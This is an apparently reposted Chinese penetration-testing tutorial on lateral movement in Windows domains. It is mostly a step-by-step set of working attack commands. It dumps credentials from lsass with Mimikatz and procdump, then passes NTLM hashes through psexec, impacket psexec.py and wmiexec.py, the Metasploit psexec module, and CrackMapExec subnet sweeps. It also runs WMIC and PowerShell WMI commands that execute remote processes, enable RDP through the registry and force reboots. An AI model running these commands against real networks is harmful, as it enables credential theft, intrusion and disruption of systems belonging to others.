当前位置:   article > 正文

DAY39:横向渗透_wmiexec.vbs官网下载

wmiexec.vbs官网下载

DAY39:横向渗透

1、哈希传递攻击概述(PTH)

Pass The Hash:通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。

​ 在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。

​ 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(从而获得密码明文)

2、Mimikatz 提权

2.1、Mimikatz 工具介绍

​ Mimikatz(猕猴桃)是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具

2.2、Mimikatz 的使用

补充:在windows中版本小于2012的 windows 都是用明文传输用户身份等一些东西,也有一定的区别 是,当打了某个KB2871997补丁的时候也是不能明文进行传输的。

cls       	清屏
standard  	标准模块,基本命令
crypto    	加密相关模块
sekurlsa  	与证书相关的模块
kerberos  	kerberos模块
privilege 	提权相关模块
process   	进程相关模块
serivce   	服务相关模块
lsadump   	LsaDump模块
ts        	终端服务器模块
event     	事件模块
misc      	杂项模块
token     	令牌操作模块
vault     	Windows 、证书模块
minesweeper Mine Sweeper模块
net
dpapi     	DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight 	BusyLight Module
sysenv    	系统环境值模块
sid       	安全标识符模块
iis       	IIS XML配置模块
rpc       	mimikatz的RPC控制
sr98      	用于SR98设备和T5577目标的RF模块
rdm       	RDM(830AL)器件的射频模块
acr       	ACR模块
version   	查看版本
exit      	退出
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
获取登陆用户信息及密码,如果是在系统权限或者psexec进入的系统权限下,直接使用该命令,而无需运行privilege::debug,否则需要运行该命令
sekurlsa::logonpasswords

获取WDigest凭证,可以获取明文密码
sekurlsa::wdigest

获取LM&NTLM凭证,可以获取明文密码
sekurlsa::msv

加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

前提条件:必须是管理员权限否则有些功能会造成阉割

开启调试
log
privilege::debug
  • 1
  • 2
  • 3

出现 OK 20即可

请添加图片描述

获取hash
sekurlsa::logonpasswords
将输出的hash保存出来
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> passwordhash.txt
  • 1
  • 2
  • 3
  • 4

请添加图片描述

这里补充一下域控的一些知识:

msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
domain:域是Windows网络操作系统的应用模型,域(Domain)是Windows网络中独立运行的单位
logonserver:明文密码
ntlm:NTLM凭证由域名、用户名及在最初登录时所输入的加密口令所组成。在DC上的安全服务管理将活动目录中的NTLM用户凭证的安全拷贝用于NTLM鉴别
  • 1
  • 2
  • 3
  • 4

注意:NTLM 是我们所要的必需品

获得 hash 之后进行登录

sekurlsa::pth /user:域名\用户名 /domain:主机名.域名 /ntlm:相应名字的ntlm值
//此时会弹出主机名的cmd
  • 1
  • 2

请添加图片描述

这样就提权成功了

2.3、Procdump+Mimikatz 提权

​ 获取到内存文件lsass.exe进程 (它用于本地安全和登陆策略) 中存储的明文登录密码,内存转储文件

procdump项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

(1)获取 lsass.dmp 文件(需要管理员权限)

​ 这个文件为 lsass.exe 进程转储文件,在文件中记录了内存当中存储的内容,各式各样包括但不限于账号、密文等信息,我们可以用 mimikatz 对内存转储文件筛选我们所需要的数据

win7   进入任务管理器点击进程,显示所有用户的进程即可搜索到
win10  任务管理器点击详细信息可搜索到
  • 1
  • 2

方法一:手动转储文件

打开任务管理器,显示所有用户的进程,右键文件创建转储文件

请添加图片描述

成功后显示文件存储路径

请添加图片描述

将文件放入 mimikatz 根目录下

请添加图片描述

打开 mimikatz 进行相关操作,记得管理员身份运行

开启调试
privilege::debug

执行命令读明文
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

请添加图片描述

可以看到也读取出来了明文密码,那么就可以进行移动啦

方法二:使用 procdump 进行内存转储的提取

在 procdump 文件目录处打开 PowerShell ,执行下列命令

读取进程为lsass的信息
get-process lsass
  • 1
  • 2

请添加图片描述

记录id值,使用procdump64.exe进行转储操作,.\procdump64.exe为运行文件指令
.\procdump64.exe -accepteula -ma ID lsass.dmp
  • 1
  • 2

请添加图片描述

可见文件已经保存在其目录下,剩下的就跟上面一样啦

3、 使用 psexec 进行横向移动

​ 提权已经做好了我们是不是要进行横向移动啦,这样就可以得到更多的信息啦

​ Telnet 等实用工具和远程控制程序(如 Symantec 的 PC Anywhere)允许你在远程系统上执行程序,但它们可能很难设置并要求你在想要访问的远程系统上安装客户端软件。 PsExec 是一种轻量级 telnet-replacement,可用于在其他系统上执行进程,为控制台应用程序提供完全交互性,而无需手动安装客户端软件。 PsExec 最强大的用途包括对远程系统和远程启用工具(如 ipconfig)启动交互式命令提示符,否则无法显示有关远程系统的信息。

注意:一些防病毒扫描程序报告一个或多个工具感染了“远程管理员”病毒。 PsTools 中没有含有病毒,但它们已被病毒使用,这就是为什么它们触发病毒通知的原因

3.1、第一种

先有 ipc(进程间通信) 链接,psexec 需要明文或 hash 传递

记得在文件目录处启动 cmd

psexec.exe /accepteula /s \\ip_address -u Administrator -p password cmd
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回
显
-u 域\用户名
-p 密码
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在 mimikatz 已经获得了相应的主机(域控)账号和密码

具体判断在上一篇博客有写,那么我们就可以进行操作啦,因为是明文,所以我们可以直接看到,写进去就行了

psexec.exe /accepteula /s \\目标主机地址 -u 目标用户名 -p 密码 cmd
  • 1

请添加图片描述

这样我们就能执行命令了呀,那么如果不是明文传输的呢是 hash 加密呢

3.2、第二种

不知道明文密码,但是知道我们要登录的主机的hash,使用hash进行登录 (可以用作权限维持)

PsExec.exe -hashes 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值./Administrator@ip_address
  • 1

使用 python 脚本写的 psexec.py 进行 hash 的爆破登录,注意如果靶机有 python3 环境也可以进行,如果没有,需将进行设置使攻击机的 ip 能 ping 通目标 ip

当然这个脚本不管是否明文都可以进行爆破登录

请添加图片描述

在知道密码的情况下

python3 psexec.py 主机名/用户名@IP地址
回车,然后输入密码
成功

//登陆其他主机管理员
psexec.exe /accepteula /s \\IP地址 -u 用户名 -p 密码 cmd
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

请添加图片描述

可以看到是有乱码现象,不要慌,这是Linux编码问题,只需要输入

chcp 65001
  • 1

一下就可以看到解决了呢

在不知道密码的情况下

python3 psexec.py -hashes 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值 ./Administrator@ip_address

./Administrator是相当于进入域内的管理员,而不是主机管理员
  • 1
  • 2
  • 3

请添加图片描述

4、使用 msf 横向移动

在前面写的提权那边我们比较常见使用 msf 进行漏洞利用,同样,这里我们使用 msf 进行相应的 msf hash 进行。

进入msf
msfconsole
使用模块exploit/windows/smb/psexec
use exploit/windows/smb/psexec
配置options,可用写options查看具体配置
set SMBUser Administrator
set rhosts ip_address
set smbpass 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值
run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

请添加图片描述

可以看到是利用了 445 端口 SMB 协议,run 起来,成功

请添加图片描述

5、CrackMapExec 进行批量横向渗透

​ CrackMapExec 可以对 C 段中的主机进行批量 pth(很简单,根据自己的需求对着指令敲键盘就行)比较危险,谨慎使用

项目下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用教程:https://fdlucifer.github.io/2020/12/14/crackmapexec/

crackmapexec smb 网段/24 -u administrator -H ntlm值
  • 1

对网段/24 的 C 段进行批量 pass the hash(ntlm 值相同的主机)

请添加图片描述

6、WMI 命令

​ WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以 后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越 多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些

6.1、wmic 命令(wmi+cmd)

​ WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中 使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

​ 首先查看目标主机是否开启135和445端口,此处,可也将135端口理解为输入端口,445为输出端口

知道密码的情况下

# 执行命令并保存在C盘
wmic /node:ip_address /user:administrator /password:xxxxxxx process call create "cmd.exe /c ipconfig > c:\ip.txt"
  • 1
  • 2

接下来建立 IPC$ ,使用type读取执行结果

# 建立IPC$ 
net use \\ip_address\ipc$ "password" /user:administrator 
# 读取结果 
type \\ip_address\c$\ip.txt
  • 1
  • 2
  • 3
  • 4

请添加图片描述请添加图片描述

可以看到命令成功执行,在目标机 C 盘有个 1.txt 文件,内容输出成功

请添加图片描述

6.2、使用 wmiexec.py 脚本获取 shell

(1)非明文获取

​ 在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell其他攻击手法可以看下 readme.md,这里只简单的对 pth 做一下实验

python3 wmiexec.py -hashes 随便写(最好长度一致):抓到的ntlm值
Administrator@IP地址 "whoami"
python3 wmiexec.py -hashes fhskfshflksh:ntml 用户名@主机ip
  • 1
  • 2
  • 3

请添加图片描述

(2)明文获取

python3 wmiexec.py 用户名:密码@IP
  • 1

6.3、使用 wmiexec.vbs 脚本获取shell

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能

wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

方式:
cscript //nologo wmiexec.vbs /shell IP地址 用户名 密码
  • 1
  • 2

请添加图片描述

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd IP地址 用户名 密码 "命令"
  • 1

请添加图片描述

6.4、wmic 的其他命令

# 适于 Windows xp、server 2003
wmic /node:IP地址 /user:administrator /password:123456 PATH
win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:IP地址 /user:administrator /password:123456 RDTOGGLE WHERE
ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#或者
wmic /node:IP地址 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORD /d 0 /f'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

请添加图片描述

7、更多工具及命令

7.1、判断 RDP 是否开启

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /vfDenyTSConnections
  • 1

7.2、远程重启电脑

wmic /node:IP地址 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"
  • 1

7.3、Invoke-WmiCommand

Invoke-WmiCommand.ps1PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。

#开启执行Invoke-WmiCommand脚本权限
set-ExecutionPolicy RemoteSigned

#在powershell中运行以下命令
#导入Invoke-WmiCommand.ps1脚本
Import-Module .\Invoke-WmiCommand.ps1	
#指定目标系统用户名
$User = ".\administrator"	
#指定目标系统的密码
$Password = ConvertTo-SecureString -String "QWEasd123" -AsPlainText -Force

#将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

#指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName IP地址

# 将执行结果输出到屏幕上
$Remote.PayloadOutput
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

请添加图片描述

7.4、Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指 定程序。

#指定目标系统用户名
$User=".\administrator"

#指定目标系统密码
$Password=ConvertTo-SecureString -String "QWEasd123" -AsPlainText -Force

#将账号和密码整合起来,以便导入Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

#在远程系统中运行calc.exe命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "IP地址" -Credential $Cred
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

请添加图片描述
请添加图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/690297
推荐阅读
相关标签
  

闽ICP备14008679号